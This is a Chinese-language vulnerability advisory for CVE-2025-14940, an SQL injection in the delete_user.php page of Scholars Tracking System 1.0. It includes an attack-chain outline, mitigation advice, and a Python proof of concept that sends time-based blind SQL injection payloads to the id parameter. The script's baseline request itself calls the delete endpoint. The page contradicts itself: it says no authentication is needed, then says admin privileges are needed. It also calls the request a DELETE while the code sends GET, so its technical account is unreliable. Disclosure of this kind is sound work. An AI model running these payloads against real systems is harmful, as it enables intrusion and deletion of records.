IPBUF安全漏洞报告
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CVE-2025-14940 CVSS 7.3 高危

CVE-2025-14940 Scholars Tracking System 1.0 SQL注入漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14940
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Scholars Tracking System 1.0 (code-projects)

相关标签

SQL注入高危漏洞Scholars Tracking Systemcode-projectsCVE-2025-14940Web安全管理后台漏洞认证绕过

漏洞概述

CVE-2025-14940是code-projects开源项目Scholars Tracking System 1.0版本中的一个高危SQL注入漏洞。该系统是一款用于管理学者跟踪的学校管理系统,由code-projects.org开发并提供免费下载。漏洞存在于管理后台的delete_user.php文件中,攻击者可以通过未经过滤的ID参数注入恶意SQL语句。由于该漏洞位于删除用户功能处,攻击者成功利用后可删除数据库中的用户记录,甚至可能通过UNION SELECT等技术在特定数据库环境下提取敏感信息或执行系统命令。该漏洞的CVSS评分为7.3,属于高危级别,攻击向量为网络远程攻击,无需认证即可利用,这意味着任何能够访问该系统的攻击者都可能成功实施攻击。漏洞已于2025年12月19日公开披露,安全研究人员在GitHub上发布了相关漏洞信息和利用代码,建议使用者尽快采取防护措施或升级到安全版本。

技术细节

该SQL注入漏洞位于Scholars Tracking System 1.0的/admin/delete_user.php文件中的ID参数处理逻辑。攻击者通过构造恶意的ID参数值,利用SQL语法中的联合查询或布尔盲注等技术,可以绕过应用程序的输入验证机制。当用户提交删除请求时,系统直接将ID参数拼接到SQL DELETE语句中而未进行充分的参数化查询或转义处理。例如,攻击者可发送类似ID参数的SQL注入载荷来测试漏洞存在性。在MySQL数据库环境下,攻击者可能利用UNION SELECT语句从数据库的其他表中提取敏感信息,如管理员账户凭据、用户个人数据等。由于该操作需要管理员权限,攻击者首先需要获取有效凭据或通过其他漏洞获得访问权限。漏洞的利用需要攻击者具备基本的SQL注入知识和HTTP请求构造能力,公开的漏洞利用代码进一步降低了攻击门槛。防御此类漏洞的最佳实践是使用参数化查询或ORM框架来处理所有数据库交互操作。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标站点使用的是Scholars Tracking System 1.0,定位到/admin/delete_user.php管理接口
STEP 2
步骤2: 访问管理后台
攻击者通过默认凭据或社工手段获取管理后台访问权限,登录到/admin/login.php
STEP 3
步骤3: 构造恶意请求
攻击者构造包含SQL注入载荷的DELETE请求,在ID参数中注入UNION SELECT或时间盲注语句
STEP 4
步骤4: 提取敏感数据
利用UNION SELECT从数据库中提取管理员账户、密码哈希或其他敏感用户信息
STEP 5
步骤5: 持久化控制
攻击者可能创建新的管理员账户或将Webshell写入服务器,实现持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14940 PoC - SQL Injection in Scholars Tracking System 1.0 # Target: /admin/delete_user.php # Type: Time-based blind SQL injection via ID parameter def exploit_sql_injection(target_url, user_id): """ Time-based blind SQL injection PoC Tests if the ID parameter is vulnerable to SQL injection """ # Normal request (should succeed) normal_url = f"{target_url}/admin/delete_user.php?id={user_id}" # SQL injection payloads for testing payloads = [ f"{user_id}' AND SLEEP(5)-- -", # MySQL time-based blind f"{user_id}' AND (SELECT * FROM (SELECT SLEEP(5))a)-- -", f"{user_id}' OR SLEEP(5)-- -", ] print(f"[*] Testing target: {target_url}") print(f"[*] Normal request: {normal_url}") # Test normal request try: response = requests.get(normal_url, timeout=10) print(f"[+] Normal request status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Test injection payloads for i, payload in enumerate(payloads, 1): injection_url = f"{target_url}/admin/delete_user.php?id={payload}" print(f"\n[*] Testing payload {i}: {payload}") try: import time start_time = time.time() response = requests.get(injection_url, timeout=30) elapsed_time = time.time() - start_time print(f"[+] Response time: {elapsed_time:.2f}s") if elapsed_time >= 5: print(f"[!] VULNERABLE! Time-based SQL injection confirmed") print(f"[!] Payload {i} caused {elapsed_time:.2f}s delay") return True except requests.exceptions.Timeout: print("[!] VULNERABLE! Request timed out (possible successful injection)") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] No obvious SQL injection detected with test payloads") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14940.py <target_url> <user_id>") print("Example: python cve-2025-14940.py http://localhost:8080 1") sys.exit(1) target = sys.argv[1].rstrip('/') uid = sys.argv[2] exploit_sql_injection(target, uid)

影响范围

Scholars Tracking System 1.0 (code-projects)

防御指南

临时缓解措施
立即限制对/admin/delete_user.php的直接访问,仅允许受信任的IP地址访问管理后台。在应用层修复前,可通过Web服务器配置(如Nginx/Apache规则)对可疑的SQL注入特征字符(单引号、双破折号、UNION等)进行过滤和阻断。建议同时检查系统是否已被入侵,查看数据库访问日志确认是否存在异常查询记录。

参考链接

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